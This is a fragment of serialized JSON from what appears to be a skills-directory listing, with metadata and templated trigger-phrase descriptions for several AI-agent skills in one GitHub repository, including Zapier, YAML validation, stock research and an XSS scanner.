\"zero\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzero-trust-config-helper\u002FSKILL.md",[],[],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M79AMJSBCEJQNBTYNAHYN5HM","zapier-integration-helper","Assist with zapier integration helper operations. Auto-activating skill for Business Automation.\nTriggers on: zapier integration helper, zapier integration helper\nPart of the Business Automation skill category. Use when working with APIs or building integrations. Trigger with phrases like \"zapier integration helper\", \"zapier helper\", \"zapier\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzapier-integration-helper\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M79AHJZGVMARS13VFQYRR1MP","yaml-config-validator","Validate yaml config validator operations. Auto-activating skill for DevOps Basics.\nTriggers on: yaml config validator, yaml config validator\nPart of the DevOps Basics skill category. Use when configuring systems or services. Trigger with phrases like \"yaml config validator\", \"yaml validator\", \"yaml\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fyaml-config-validator\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":109,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":20},"01M79AHGDZRN0020RDQSQDPAM8","xvary-stock-research","Thesis-driven equity analysis from public SEC EDGAR and market data; \u002Fanalyze, \u002Fscore, \u002Fcompare workflows with bundled Python tools (Claude Code, Cursor, Codex).","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxvary-stock-research\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxvary-stock-research\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":119,"publishedAt":20},"01M79AHCYJ9FV9RMHQ24HDRN33","xss-vulnerability-scanner","Scan xss vulnerability scanner operations. Auto-activating skill for Security Fundamentals.\nTriggers on: xss vulnerability scanner, xss vulnerability scanner\nPart of the Security Fundamentals skill category. Use when working with xss vulnerability scanner functionality. Trigger with phrases like \"xss vulnerability scanner\", \"xss scanner\", \"xss\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxss-vulnerability-scanner\u002FSKILL.md",[],[]]